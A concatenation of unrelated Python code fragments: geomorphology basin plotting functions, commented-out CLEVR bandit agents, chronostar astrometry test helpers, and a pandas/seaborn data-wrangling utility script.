# set the axes labels
ax[4].set_xlabel('Uplift rate (mm/yr)')
#plt.xticks(np.arange(min(df['basin_keys']), max(df['basin_keys'])+1, 1))
plt.tight_layout()
#save output
plt.savefig(PlotDirectory+FilenamePrefix +"_mean_data_fxn_U.png", dpi=300)
plt.clf()
def PlotKsnAgainstRStar(DataDirectory, FilenamePrefix, PlotDirectory):
"""
Function to plot median Ksn against R* for a series of basins
Author: FJC
"""
input_csv = PlotDirectory+FilenamePrefix+'_basin_hillslope_data.csv'
df = pd.read_csv(input_csv)
# linregress
slope, intercept, r_value, p_value, std_err = stats.linregress(df['mchi_median'],df['Rstar_median'])
print (slope, intercept, r_value, p_value)
x = np.linspace(0, 200, 100)
new_y = slope*x + intercept
# set up the figure
fig, ax = plt.subplots(nrows=1, ncols=1, sharex=True, figsize=(5,5))
ax.scatter(df['mchi_median'], df['Rstar_median'], c=df['basin_keys'], s=25, edgecolors='k', zorder=100, cmap=cm.viridis)
ax.errorbar(df['mchi_median'], df['Rstar_median'], xerr=[df['mchi_lower_err'], df['mchi_upper_err']], yerr=[df['Rstar_lower_err'], df['Rstar_upper_err']], fmt='o', ecolor='0.5',markersize=1,mfc='white',mec='k')
ax.text(0.55, 0.1, '$y = $'+str(np.round(slope,4))+'$x + $'+str(np.round(intercept,2))+'\n$R^2 = $'+str(np.round(r_value,2))+'\n$p = $'+str(p_value), fontsize=9, color='black', transform=ax.transAxes)
ax.plot(x, new_y, c='0.5', ls='--')
ax.set_xlim(0,200)
ax.set_xlabel('$k_{sn}$')
ax.set_ylabel('$R*$')
plt.subplots_adjust(left=0.15,right=0.85, bottom=0.1, top=0.95)
CAx = fig.add_axes([0.87,0.1,0.02,0.85])
m = cm.ScalarMappable(cmap=cm.viridis)
m.set_array(df['basin_keys'])
plt.colorbar(m, cax=CAx,orientation='vertical', label='Basin key')
#plt.tight_layout()
#save output
plt.savefig(PlotDirectory+FilenamePrefix +"_ksn_vs_rstar.png", dpi=300)
plt.clf()
def PlotEStarRStarBasins(DataDirectory, FilenamePrefix, PlotDirectory):
"""
Function to make an E*R* plot for a series of drainage basins
Author: FJC
"""
input_csv = PlotDirectory+FilenamePrefix+'_basin_hillslope_data.csv'
df = pd.read_csv(input_csv)
# steady state model
x = np.linspace(0,50,1000)
predicted_Rstar = ((1. / x) * (np.sqrt(1. + (x * x)) -
np.log(0.5 * (1. + np.sqrt(1. + (x * x)))) - 1.))
# | |
# import itertools
# import json
#
# import numpy as np
# import torch
# import torch.nn as nn
#
# translation = {
# "cube": 0,
# "sphere": 1,
# "cylinder": 2,
# "gray": 0,
# "red": 1,
# "blue": 2,
# "green": 3,
# "brown": 4,
# "purple": 5,
# "cyan": 6,
# "yellow": 7,
# "rubber": 0,
# "metal": 1,
# "large": 0,
# "small": 1
# }
#
#
# class RandAgent(nn.Module):
# def __init__(self, padding_number=-10):
# super(RandAgent, self).__init__()
# self.padding_number = padding_number
# return
#
# def translate_object_3d_pos(self, object_3d_pos):
# per_image_x = []
# per_image_y = []
# per_image_theta = []
#
# for batch_id in range(object_3d_pos.shape[0]):
# num_objects = sum((object_3d_pos[batch_id][:, 0] > -10) * 1)
# batch_x = object_3d_pos[batch_id][:, 0][0:num_objects]
# batch_y = object_3d_pos[batch_id][:, 1][0:num_objects]
#
# per_image_x.append([f for f in batch_x])
# per_image_y.append([f for f in batch_y])
# per_image_theta.append([f for f in np.random.uniform(size=(num_objects))])
#
# return per_image_x, per_image_y, per_image_theta
#
# def translate_object_scm(self, object_scms):
# per_image_objects = []
# per_image_shapes = []
# per_image_colors = []
# per_image_materials = []
# per_image_sizes = []
#
# for batch_id in range(object_scms.shape[0]):
# num_objects = sum((object_scms[batch_id][:, 0] > -10) * 1)
# batch_shapes = object_scms[batch_id][:, 0][0:num_objects]
# batch_colors = object_scms[batch_id][:, 1][0:num_objects]
# batch_materials = object_scms[batch_id][:, 2][0:num_objects]
# batch_sizes = object_scms[batch_id][:, 3][0:num_objects]
#
# per_image_objects.append(num_objects)
# per_image_shapes.append([f for f in batch_shapes])
# per_image_colors.append([f for f in batch_colors])
# per_image_materials.append([f for f in batch_materials])
# per_image_sizes.append([f for f in batch_sizes])
#
# return per_image_objects, per_image_shapes, per_image_colors, per_image_materials, per_image_sizes
#
# def translate_camera_feature(self, cm):
# key_light = cm[:, 0]
# key_light = [f for f in key_light]
# fill_light = cm[:, 1]
# fill_light = [f for f in fill_light]
# back_light = cm[:, 2]
# back_light = [f for f in back_light]
# camera_jitter = cm[:, 3]
# camera_jitter = [f for f in camera_jitter]
# return key_light, fill_light, back_light, camera_jitter
#
# def forward(self, objects=-1, start_idx=0, batch_size=1, randomize_idx=False):
# assert start_idx >= 0 and start_idx <= 14990
# if randomize_idx:
# idx = np.random.randint(0, 14990)
# if objects == -1:
# object_number = torch.randint(low=2, high=7, size=(batch_size, 1), requires_grad=False)
# else:
# object_number = torch.tensor(objects).expand(batch_size, 1)
#
# object_scms = torch.ones(size=(batch_size, 6, 4), requires_grad=False) * self.padding_number
# object_3d_pos = torch.ones(size=(batch_size, 6, 2), requires_grad=False) * self.padding_number
# for j in range(batch_size):
# for i in range(object_number[j][0]):
# object_scms[j][i][0] = torch.randint(low=0, high=3, size=(1, 1), requires_grad=False)
# object_scms[j][i][1] = torch.randint(low=0, high=8, size=(1, 1), requires_grad=False)
# object_scms[j][i][2] = torch.randint(low=0, high=2, size=(1, 1), requires_grad=False)
# object_scms[j][i][3] = torch.randint(low=0, high=2, size=(1, 1), requires_grad=False)
# object_3d_pos[j][i] = 6.0 * (torch.rand(size=(2,)) - 0.5)
# camera_control = 3 * torch.randn(size=(batch_size, 4))
# #### Move to Numpy Format
# key_light_jitter, fill_light_jitter, back_light_jitter, camera_jitter = self.translate_camera_feature(
# camera_control.numpy().astype(float))
# per_image_objects, per_image_shapes, per_image_colors, per_image_materials, per_image_sizes = self.translate_object_scm(
# object_scms.numpy().astype(int))
# per_image_x, per_image_y, per_image_theta = self.translate_object_3d_pos(object_3d_pos.numpy())
# return (key_light_jitter, fill_light_jitter, back_light_jitter, camera_jitter), (
# per_image_objects, per_image_shapes, per_image_colors, per_image_materials, per_image_sizes), (
# per_image_x, per_image_y, per_image_theta)
#
#
# class InformedRandomAgent(RandAgent):
# def __init__(self, padding_number=-10,
# scenes='/content/gdrive/MyDrive/blender_agents/official_val/CLEVR_val_scenes.json'):
# super(InformedRandomAgent, self).__init__()
# self.padding_number = padding_number
# if scenes is not None:
# with open(scenes, 'r') as fout:
# data = json.loads(fout.read())
# scenes = data['scenes']
# self.scenes = scenes
# self.noise_gen = lambda x: x
# return
#
# def register_noise_gen(self, noise_gen):
# self.noise_gen = noise_gen
# return
#
# def forward(self, objects=-1, start_idx=0, batch_size=1, randomize_idx=False):
# assert start_idx >= 0 and start_idx <= 14990
# if randomize_idx:
# idx = np.random.randint(0, 14990)
#
# if self.scenes is None:
# if objects == -1:
# object_number = torch.randint(low=2, high=7, size=(batch_size, 1), requires_grad=False)
# else:
# object_number = torch.tensor(objects).expand(batch_size, 1)
#
# object_scms = torch.ones(size=(batch_size, 6, 4), requires_grad=False) * self.padding_number
# object_3d_pos = torch.ones(size=(batch_size, 6, 2), requires_grad=False) * self.padding_number
# for j in range(batch_size):
# for i in range(object_number[j][0]):
# object_scms[j][i][0] = torch.randint(low=0, high=3, size=(1, 1), requires_grad=False)
# object_scms[j][i][1] = torch.randint(low=0, high=8, size=(1, 1), requires_grad=False)
# object_scms[j][i][2] = torch.randint(low=0, high=2, size=(1, 1), requires_grad=False)
# object_scms[j][i][3] = torch.randint(low=0, high=2, size=(1, 1), requires_grad=False)
# object_3d_pos[j][i] = 6.0 * (torch.rand(size=(2,)) - 0.5)
# camera_control = 3 * torch.randn(size=(batch_size, 4))
# #### Move to Numpy Format
# key_light_jitter, fill_light_jitter, back_light_jitter, camera_jitter = self.translate_camera_feature(
# camera_control.numpy().astype(float))
# per_image_objects, per_image_shapes, per_image_colors, per_image_materials, per_image_sizes = self.translate_object_scm(
# object_scms.numpy().astype(int))
# per_image_x, per_image_y, per_image_theta = self.translate_object_3d_pos(object_3d_pos.numpy())
# else:
# a = torch.abs(0.2 * torch.randn(size=(batch_size, 1)) + 0.5)
# b = torch.abs(torch.randn(size=(batch_size, 3)) + 1.0)
# camera_control = torch.cat([a, b], dim=1)
# key_light_jitter, fill_light_jitter, back_light_jitter, camera_jitter = self.translate_camera_feature(
# camera_control.numpy().astype(float))
# (per_image_objects, per_image_shapes, per_image_colors, per_image_materials, per_image_sizes), (
# per_image_x, per_image_y, per_image_theta) = self.retrieve_configs(start_idx, batch_size)
# return (key_light_jitter, fill_light_jitter, back_light_jitter, camera_jitter), (
# per_image_objects, per_image_shapes, per_image_colors, per_image_materials, per_image_sizes), (
# per_image_x, per_image_y, per_image_theta)
#
#
# class RL_Bandit_Agent(RandAgent):
# def __init__(self, scenes,padding_number=-10,
# bandit_mode='UCB'):
# super(RL_Bandit_Agent, self).__init__()
# self.padding_number = padding_number
# if scenes is not None:
# with open(scenes, 'r') as fout:
# data = json.loads(fout.read())
# scenes = data['scenes']
# self.scenes = scenes
# self.bandit_mode = bandit_mode
# self.initialize_bandits()
# self.init_arm_translator()
# return
#
# def initialize_bandits(self):
# # 324 arms #
# if self.bandit_mode == 'UCB':
# self.CombineBandit = UCBBandit(k_arm=4 * 3 ** 4, epsilon=0.15, initial=0, c=1)
# elif self.bandit_mode == 'TS':
# self.CombineBandit = TSBandit(k_arm=4 * 3 ** 4, epsilon=0.15, initial=0)
# self.CombineBandit.reset()
# return
#
# def init_arm_translator(self, combinations_per_arm=[3, 3, 3, 3, 4]):
# hashlist = []
# for f in combinations_per_arm:
# hashlist.append(list(range(0, f)))
# hashmap = {}
# for index, arm_codes in enumerate(itertools.product(*hashlist)):
# hashmap.update({index: arm_codes})
#
# self.idx2armcode = hashmap
# return
#
# def arm_sample(self, actions):
# camera_marks = np.linspace(0, 3, 4)
# object_marks = [0.05, 0.1, 0.25, 0.5]
#
# res = np.zeros((len(actions), 7))
# for i, action in enumerate(actions):
# codes = self.idx2armcode[action]
# res[i, 0] = np.random.uniform(low=camera_marks[codes[0]], high=camera_marks[codes[0]] + 1)
# res[i, 1] = np.random.uniform(low=camera_marks[codes[1]], high=camera_marks[codes[1]] + 1)
# res[i, 2] = np.random.uniform(low=camera_marks[codes[2]], high=camera_marks[codes[2]] + 1)
# res[i, 3] = np.random.uniform(low=camera_marks[codes[3]], high=camera_marks[codes[3]] + 1)
# res[i, 4] = np.random.normal(0, scale=object_marks[codes[4]])
# res[i, 5] = np.random.normal(0, scale=object_marks[codes[4]])
# res[i, 6] = np.random.normal(0, scale=object_marks[codes[4]])
# return res
#
# def retrieve_configs(self, start_idx, batch_size, perturbations=None):
# n_objects = []
# xs = []
# ys = []
# thetas = []
# colors = []
# materials = []
# shapes = []
# sizes = []
# ###################################
# for idx in range(start_idx, start_idx + batch_size):
# gobj = self.scenes[idx]
# n_objects.append(len(gobj['objects']))
# xs_ = []
# ys_ = []
# thetas_ = []
# colors_ = []
# materials_ = []
# shapes_ = []
# sizes_ = []
# for obj in gobj['objects']:
# ######## Affected by the Object Bandit #######
# if perturbations is None:
# xs_.append(obj['3d_coords'][0])
# ys_.append(obj['3d_coords'][1])
# thetas_.append(obj['3d_coords'][2] % 360)
# else:
# x_per = perturbations[idx - start_idx, 0]
# y_per = perturbations[idx - start_idx, 1]
# t_per = perturbations[idx - start_idx, 2]
# xs_.append(obj['3d_coords'][0] + x_per)
# ys_.append(obj['3d_coords'][1] + y_per)
# thetas_.append(obj['3d_coords'][2] + t_per % 360)
#
# ######## Unaffected by the Bandit #######
# colors_.append(translation[obj['color']])
# materials_.append(translation[obj['material']])
# shapes_.append(translation[obj['shape']])
# sizes_.append(translation[obj['size']])
# #########################################
# xs.append(xs_)
# ys.append(ys_)
# thetas.append(thetas_)
# colors.append(colors_)
# materials.append(materials_)
# shapes.append(shapes_)
# sizes.append(sizes_)
# return (n_objects, shapes, colors, materials, sizes), (xs, ys, thetas)
#
# def forward(self, objects=-1, start_idx=0, batch_size=1, randomize_idx=False):
# assert start_idx >= 0 and start_idx <= 14990
# if randomize_idx:
# idx = np.random.randint(0, 14990)
#
# actions = self.CombineBandit.batch_act(batch_size=batch_size)
# perturbations = self.arm_sample(actions)
#
# ##### Affected by the Camera Bandit #####
# camera_control = perturbations[:, :-3]
#
# key_light_jitter, fill_light_jitter, back_light_jitter, camera_jitter = self.translate_camera_feature(
# camera_control.astype(float))
# (per_image_objects, per_image_shapes, per_image_colors, per_image_materials, per_image_sizes), (
# per_image_x, per_image_y, per_image_theta) = self.retrieve_configs(start_idx, batch_size,
# perturbations=perturbations[:, -3:])
#
# return (key_light_jitter, fill_light_jitter, back_light_jitter, camera_jitter), (
# per_image_objects, per_image_shapes, per_image_colors, per_image_materials, per_image_sizes), (
# per_image_x, per_image_y, per_image_theta), actions
#
# def learn(self, actions, rewards):
# self.CombineBandit.batch_update_step(actions=actions, rewards=rewards)
# print(self.CombineBandit.q_estimation)
# print(self.CombineBandit.action_count)
# return
#
#
# class RL_Disjoint_Bandit_Agent(RandAgent):
# def __init__(self, padding_number=-10,
# scenes='/content/gdrive/MyDrive/blender_agents/official_val/CLEVR_val_scenes.json'):
# super(RL_Disjoint_Bandit_Agent, self).__init__()
# self.padding_number = padding_number
# if scenes is not None:
# with open(scenes, 'r') as fout:
# data = json.loads(fout.read())
# scenes = data['scenes']
# self.scenes = scenes
# self.initialize_bandits()
# self.init_camera_arm_translator()
# self.init_object_arm_translator()
# return
#
# def initialize_bandits(self):
# # 6 intensities per choice - 4 choices = 6 arms x 4 Bandits #
# self.CameraBandits = [UCBBandit(k_arm=5, epsilon=0.1, initial=0, c=1)] * 4
# for f in self.CameraBandits:
# f.reset()
# # Color/Shape/Material/Size (Unchanged)
# # -->Arms are perturbation movement magnitude #
# # 10 intensities per choice - 3 choices = 10 arms x 3 Bandits #
# self.ObjectBandits = [UCBBandit(k_arm=10, epsilon=0.1, initial=0, c=1)] * 3
# for f in self.ObjectBandits:
# f.reset()
# return
#
# def init_camera_arm_translator(self, combinations_per_arm=6):
# MIN_CAMERA_SETTING = 0
# MAX_CAMERA_SETTING = 3
# CAMERA_RANGE = np.linspace(MIN_CAMERA_SETTING, MAX_CAMERA_SETTING, combinations_per_arm)
# self.idx2camera_action = {i: CAMERA_RANGE[i] for i in range(0, combinations_per_arm)}
# return
#
# def init_object_arm_translator(self, combinations_per_arm=10):
# MIN_OBJECT_PERTURBATION = -1
# MAX_OBJECT_PERTURBATION = 1
# OBJECT_PERTURBATION_RANGE = np.linspace(MIN_OBJECT_PERTURBATION, MAX_OBJECT_PERTURBATION, combinations_per_arm)
# self.idx2object_action = {i: OBJECT_PERTURBATION_RANGE[i] for i in range(0, combinations_per_arm)}
# return
#
# def arm_sample(self, camera_actions, object_actions):
# res = np.zeros((len(camera_actions[0]), 7))
# for camera_setting_id, camera_settings in enumerate(camera_actions):
# for batch_id, action in enumerate(camera_settings):
# code = self.idx2camera_action[action]
# res[batch_id, camera_setting_id] = code
#
# for object_perturbation_id, object_settings in enumerate(object_actions):
# for batch_id, action in enumerate(object_settings):
# code = self.idx2object_action[action]
# res[batch_id, object_perturbation_id + 4] = code
# return res
#
# def retrieve_configs(self, start_idx, batch_size, perturbations=None):
# n_objects = []
# xs = []
# ys = []
# thetas = []
# colors = []
# materials = []
# shapes = []
# sizes = []
# ###################################
# for idx in range(start_idx, start_idx + batch_size):
# gobj = self.scenes[idx]
# n_objects.append(len(gobj['objects']))
# xs_ = []
# ys_ = []
# thetas_ = []
# colors_ = []
# materials_ = []
# shapes_ = []
# sizes_ = []
# for obj in gobj['objects']:
# ######## Affected by the Object Bandit #######
# if perturbations is None:
# xs_.append(obj['3d_coords'][0])
# ys_.append(obj['3d_coords'][1])
# thetas_.append(obj['3d_coords'][2] % 360)
# else:
# x_per = | |
<reponame>tcrundall/chronostar<gh_stars>0
"""
Test a bunch of functions that serve as an interface to standard stellar data
table
"""
import numpy as np
import logging
from astropy.io import fits
from astropy.table import Table
# from astropy.units.core import UnitConversionError
try:
import exceptions
except ImportError:
import builtins as exceptions # python 3 consistent
import sys
sys.path.insert(0, '..')
from chronostar.component import SphereComponent
from chronostar.synthdata import SynthData
from chronostar import tabletool
from chronostar import coordinate
from chronostar import transform
# -----------------------------------------------
# -- To check correctness, have copied over --
# -- previous implementation into this script --
# -----------------------------------------------
# retired function, put here for comparison reasons
def transformAstrCovsToCartesian(astr_covs, astr_arr):
"""
Converts a covariance matrix from astrometric coords to LSR XYZUVW
Parameters
----------
astr_covs: ([nstars, 6, 6] array)
values in the diagaonal are the squared errors of
(ra, dec, plx, pm_ra, pm_dec, rv), with the offdiagonals the product
of the correlation (valued between -1 and 1) and the two
intersecting coordinates.
astr_arr: ([nstars, 6] array)
the measured (mean) astrometric values
(ra, dec, plx, pm_ra, pm-dec, rv)
"""
nstars = astr_arr.shape[0]
xyzuvw_covs = np.zeros((nstars, 6, 6))
for ix in range(nstars):
xyzuvw_covs[ix] = transform.transform_covmatrix(
astr_covs[ix], coordinate.convert_astrometry2lsrxyzuvw, astr_arr[ix],
dim=6
)
return xyzuvw_covs
# retired function, put here for comparison reasons
def convertAstrErrsToCovs(err_arr):
"""
Converts astrometry errors for each star into covariance matrices
Note that a negligible error is inserted for ra and dec
Parameters
----------
err_arr : ([nstars, 6] float array), astrometry errors with placeholder
0's for ra and dec: (ra, dec, pi, pm_ra, pm_dec, rv)
Returns
-------
astr_covs : ([nstars, 6, 6] float array), covariance matrix made by
inserting the square of the errors into the diagonal
"""
err_arr_cp = np.copy(err_arr)
nstars = err_arr_cp.shape[0]
err_arr_cp[:, :2] = 1e-1
logging.info("Angular position error is: {}".format(err_arr_cp[0,0]))
print("Angular position error is: {}".format(err_arr_cp[0,0]))
print("Changed!")
astr_covs = np.zeros((nstars, 6, 6))
for ix in range(nstars):
astr_covs[ix] = np.eye(6) * np.tile(err_arr_cp[ix], (6, 1))**2
return astr_covs
# Retired function, put here for compairsion reasons
def convertTableToArray(star_table):
nstars = star_table['radeg'].shape[0]
measured_vals = np.vstack((
star_table['radeg'],
star_table['dedeg'],
star_table['plx'],
star_table['pmra'],
star_table['pmde'],
star_table['rv'],
)).T
errors = np.vstack((
np.zeros(nstars),
np.zeros(nstars),
star_table['e_plx'],
star_table['e_pmra'],
star_table['e_pmde'],
star_table['e_rv'],
)).T
return measured_vals, errors
# Retired funciton, put here for comparison reasons
def buildMeanAndCovMatFromRow(row):
"""
Build a covariance matrix from a row
Paramters
---------
row : astropy Table row
Entries: {X, Y, Z, U, V, W, dX, dY, ..., cXY, cXZ, ...}
Return
------
cov_mat : [6,6] numpy array
Diagonal elements are dX^2, dY^2, ...
Off-diagonal elements are cXY*dX*dY, cXZ*dX*dZ, ...
"""
dim = 6
CART_COL_NAMES = ['X', 'Y', 'Z', 'U', 'V', 'W',
'dX', 'dY', 'dZ', 'dU', 'dV', 'dW',
'c_XY', 'c_XZ', 'c_XU', 'c_XV', 'c_XW',
'c_YZ', 'c_YU', 'c_YV', 'c_YW',
'c_ZU', 'c_ZV', 'c_ZW',
'c_UV', 'c_UW',
'c_VW']
mean = np.zeros(dim)
for i, col_name in enumerate(CART_COL_NAMES[:6]):
mean[i] = row[col_name]
std_vec = np.zeros(dim)
for i, col_name in enumerate(CART_COL_NAMES[6:12]):
std_vec[i] = row[col_name]
corr_tri = np.zeros((dim,dim))
# Insert upper triangle (top right) correlations
for i, col_name in enumerate(CART_COL_NAMES[12:]):
corr_tri[np.triu_indices(dim,1)[0][i],np.triu_indices(dim,1)[1][i]]\
=row[col_name]
# Build correlation matrix
corr_mat = np.eye(6) + corr_tri + corr_tri.T
# Multiply through by standard deviations
cov_mat = corr_mat * std_vec * std_vec.reshape(6,1)
return mean, cov_mat
# Retired funciton, put here for comparison reasons
def loadDictFromTable(table):
"""
Takes the data in the table, builds dict with array of mean and cov matrices
Paramters
---------
table : Astropy.Table (or str)
assoc_name : str
One of the labels in Moving group column:
118 Tau, 32 Orionis, AB Doradus, Carina, Carina-Near, Columba,
Coma Ber, Corona Australis, Hyades, IC 2391, IC 2602,
Lower Centaurus-Crux, Octans, Platais 8, Pleiades, TW Hya, Taurus,
Tucana-Horologium, Upper Centaurus Lupus, Upper CrA, Upper Scorpius,
Ursa Major, beta Pictoris, chi{ 1 For (Alessi 13), epsilon Cha,
eta Cha, rho Ophiuci
Returns
-------
dict :
xyzuvw : [nstars,6] array of xyzuvw means
xyzuvw_cov : [nstars,6,6] array of xyzuvw covariance matrices
file_name : str
if table loaded from file, the pathway is stored here
indices : [nstars] int array
the table row indices of data converted into arrays
gaia_ids : [nstars] int array
the gaia ids of stars successfully converted
"""
star_pars = {}
if type(table) is str:
file_name = table
star_pars['file_name'] = file_name
table = Table.read(table)
gaia_col_name = 'source_id'
if gaia_col_name not in table.colnames:
gaia_col_name = 'gaia_dr2'
xyzuvw = []
xyzuvw_cov = []
indices = []
gaia_ids = []
nrows = len(table[gaia_col_name])
for ix, row in enumerate(table):
if nrows > 10000 and ix % 1000==0:
print("Done {:7} of {} | {:.2}%".format(ix, nrows,
float(ix)/nrows*100))
if np.isfinite(row['U']):
mean, cov = buildMeanAndCovMatFromRow(row)
xyzuvw.append(mean)
xyzuvw_cov.append(cov)
indices.append(ix)
gaia_ids.append(row[gaia_col_name])
star_pars['xyzuvw'] = np.array(xyzuvw).astype(np.float64)
star_pars['xyzuvw_cov'] = np.array(xyzuvw_cov).astype(np.float64)
star_pars['indices'] = np.array(indices)
star_pars['gaia_ids'] = np.array(gaia_ids)
star_pars['table'] = table
return star_pars
# Retired funciton, put here for comparison reasons
def convertManyRecToArray(data):
"""
Convert many Fits Records in astrometry into mean and covs (astro)
Note: ra_error and dec_error are in 'mas' while ra and dec
are given in degrees. Everything else is standard:
plx [mas], pm [mas/yr], rv [km/s]
Parameters
----------
data: [nstars] array of Recs
'source_id', 'ra', 'ra_error', 'dec', 'dec_error', 'parallax',
'parallax_error', 'pmra', 'pmra_error', 'pmdec', 'pmdec_error',
'ra_dec_corr', 'ra_parallax_corr', 'ra_pmra_corr',
'ra_pmdec_corr', 'dec_parallax_corr', 'dec_pmra_corr',
'dec_pmdec_corr', 'parallax_pmra_corr', 'parallax_pmdec_corr',
'pmra_pmdec_corr', 'astrometric_primary_flag', 'phot_g_mean_mag',
'radial_velocity', 'radial_velocity_error', 'teff_val'
Returns
-------
means: [nstars, 6] array
covs: [nstars, 6] array
"""
nstars = data.shape[0]
means = np.zeros((nstars,6))
means[:,0] = data['ra']
means[:,1] = data['dec']
means[:,2] = data['parallax']
means[:,3] = data['pmra']
means[:,4] = data['pmdec']
means[:,5] = data['radial_velocity']
# Array of dictionary keys to aid construction of cov matrices
cls = np.array([
['ra_error', 'ra_dec_corr', 'ra_parallax_corr',
'ra_pmra_corr', 'ra_pmdec_corr', None],
['ra_dec_corr', 'dec_error', 'dec_parallax_corr',
'dec_pmra_corr', 'dec_pmdec_corr', None],
['ra_parallax_corr', 'dec_parallax_corr', 'parallax_error',
'parallax_pmra_corr', 'parallax_pmdec_corr', None],
['ra_pmra_corr', 'dec_pmra_corr', 'parallax_pmra_corr',
'pmra_error', 'pmra_pmdec_corr', None],
['ra_pmdec_corr', 'dec_pmdec_corr', 'parallax_pmdec_corr',
'pmra_pmdec_corr', 'pmdec_error', None],
[None, None, None,
None, None, 'radial_velocity_error']
])
# Construct an [nstars,6,6] array of identity matrices
covs = np.zeros((nstars,6,6))
idx = np.arange(6)
covs[:, idx, idx] = 1.0
# Insert correlations into off diagonals
for i in range(0,5):
for j in range(i+1,5):
covs[:,i,j] = covs[:,j,i] = data[cls[i,j]]
# multiply each row and each column by appropriate error
for i in range(6):
covs[:,i,:] *= np.tile(data[cls[i,i]], (6,1)).T
covs[:,:,i] *= np.tile(data[cls[i,i]], (6,1)).T
# Might need to introduce some artificial uncertainty in
# ra and dec so as to avoid indefinite matrices (too narrow)
# RA and DEC errors are actually quoted in mas, so we convert cov
# entries into degrees
covs[:,:,:2] /= 3600000.
covs[:,:2,:] /= 3600000.
return means, covs
# Retired function put here for comparision reasons
def convertGaiaToXYZUVWDict(astr_file):
"""
Supposed to generate XYZYVW dictionary for input to GroupFitter
Doesn't work on whole Gaia catalogue... too much memory I think
TODO: Sort out a more consistent way to handle file names...
"""
hdul = fits.open(astr_file)#, memmap=True)
means, covs = convertManyRecToArray(hdul[1].data)
astr_dict = {'astr_mns': means, 'astr_covs': covs}
cart_dict = convertMeasurementsToCartesian(astr_dict=astr_dict)
return cart_dict
# retired, put here for comparison reasons
def convertMeasurementsToCartesian(t=None, loadfile='', astr_dict=None):
"""
Parameters
----------
t : astropy Table with the following columns:
name : id or name of star
radeg : right ascension in degrees
dedeg : declination in degrees
plx : parallax in mas
e_plx : error of parallax in mas
pmra : proper motion in right ascension in mas/yr
e_pmra : error of pm in right ascension in mas/yr
pmde : proper motion in declination in mas/yr
e_pmde : error of pm in declination in mas/yr
rv : radial velocity in km/s
e_rv : error of radial velocity in km/s
loadfile : (String {''})
if t is None, try and load table from loadfile
savefile : (String {''})
if non-empty, will save a fits file with this filename. Appropriate
file extension is applied if not there.
Returns
-------
dict :
t : astropy table
xyzuvw : [nstars, 6] array
space positions and velocities of each star
xyzuvw_cov : [nstars, 6, 6] array
covariance of positions and velocities of each star
"""
while True:
if t:
nstars = len(t)
astr_arr, err_arr = convertTableToArray(t)
astr_covs = convertAstrErrsToCovs(err_arr)
break
if loadfile:
t = Table.read(loadfile, format='ascii')
nstars = len(t)
astr_arr, err_arr = convertTableToArray(t)
astr_covs = convertAstrErrsToCovs(err_arr)
break
if astr_dict:
astr_arr = astr_dict['astr_mns']
astr_covs = astr_dict['astr_covs']
nstars = astr_arr.shape[0]
break
raise StandardError
xyzuvw = coordinate.convert_many_astrometry2lsrxyzuvw(astr_arr, mas=True)
xyzuvw_cov = transformAstrCovsToCartesian(astr_covs, astr_arr)
xyzuvw_dict = {'table':t, 'xyzuvw':xyzuvw, 'xyzuvw_cov':xyzuvw_cov}
return xyzuvw_dict
def alternativeBuildCovMatrix(data):
nstars | |
<filename>dw_v1.py<gh_stars>0
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
from scipy import stats
from sklearn.linear_model import LinearRegression
from sklearn import svm, preprocessing
from sklearn.cluster import KMeans
from statsmodels.stats.multicomp import pairwise_tukeyhsd
######### CONFIG #########
sns.set_theme(style = "darkgrid")
sns.color_palette("flare", as_cmap = True)
######### BASICS #########
def excel_check(file):
if ".xlsx" in file:
print("Detected an Excel file, boss. \n")
worksheet = int(input("Which worksheet number to load, Boss? \n"))
df = pd.read_excel(file, sheet_name = worksheet)
return df
else:
df = pd.read_csv(file, decimal = ".", delimiter = ",")
return df
def info():
print("\nHere are the basics about this data, Boss: \n")
print(df.info())
def head():
print(df.head(10))
def tail():
print(df.tail(10))
def desc():
print(df.describe())
def count():
print(df.value_counts())
def count_missing():
print("\nI've counted these missing values, Boss: \n")
print(df.isna().sum())
######### DATAFRAME JUGGLEZ #########
def multi_select():
payload = []
state = True
while (state):
entry = input("Which column to select, boss? (Press XX for pushing the payload.) \n")
if (entry == "XX"):
state = False
print("\nAllright, Boss – I'm pushing the payload to process!\n")
else:
payload.append(entry)
print("Added this column to the payload, Boss!\n")
print("Current payload:")
print(payload)
print("\n")
return payload
def load_new_df():
payload = multi_select()
return df_save[payload]
def remove_column():
payload = multi_select()
return df.drop(payload, axis = 1)
def pivot(column, row, value):
return df.pivot(columns = column, index = row, values = value)
def crosstab(x, y):
return pd.crosstab(df[x], df[y])
def drop_dup():
return df.drop_duplicates().reset_index(drop = True)
def drop_nan():
return df.dropna().reset_index(drop = True)
def fill_nan(value):
return df.fillna(value)
def normalize():
x = df.values
min_max_scaler = preprocessing.MinMaxScaler()
x_normalized = min_max_scaler.fit_transform(x)
return pd.DataFrame(x_normalized, columns = df.columns)
######### VISUALS #########
def plot(y):
sns.lineplot(x = range(len(df)), y = y, data = df)
mean = df[y].mean()
std = df[y].std()
std_lo = mean - std
std_hi = mean + std
plt.axhline(mean, 0, 1, color = "red", label = "Mean")
plt.axhline(std_lo, 0, 1, color = "black", linestyle = "--")
plt.axhline(std_hi, 0, 1, color = "black", linestyle = "--")
plt.title(y)
plt.legend()
plt.show()
def scat(x, y):
sns.regplot(x = x, y = y, data = df)
mean = df[y].mean()
std = df[y].std()
std_lo = mean - std
std_hi = mean + std
plt.axhline(mean, 0, 1, color = "red", label = "Mean")
plt.axhline(std_lo, 0, 1, color = "black", linestyle = "--")
plt.axhline(std_hi, 0, 1, color = "black", linestyle = "--")
plt.title(x + " vs " + y)
plt.show()
def heat(x, y, z):
df_pivot = df.pivot(x, y, z)
f, ax = plt.subplots(figsize=(9, 6))
sns.heatmap(df_pivot, annot=True, linewidths=.5, ax=ax)
plt.title("Heatmap of " + x + "," + y + "," + z)
plt.show()
def box(y):
if (y == "All" or y == "all"):
sns.boxplot(data = df)
else:
sns.boxplot(data = df, y = y)
plt.show()
def violin(y):
if (y == "All" or y == "all"):
sns.violinplot(data = df)
else:
sns.violinplot(data = df, y = y)
plt.show()
def hist(y):
if (y == "All" or y == "all"):
sns.histplot(data = df, kde = True)
else:
sns.histplot(data = df, x = y, kde = True)
mean = df[y].mean()
std = df[y].std()
std_lo = mean - std
std_hi = mean + std
plt.axvline(mean, 0, 1, color = "red", label = "Mean")
plt.axvline(std_lo, 0, 1, color = "black", linestyle = "--")
plt.axvline(std_hi, 0, 1, color = "black", linestyle = "--")
plt.show()
def pairplot():
sns.pairplot(df)
plt.show()
######### TESTS #########
def side_switch():
switch = input("""What kind of test are we running, Mr.Boss? \n
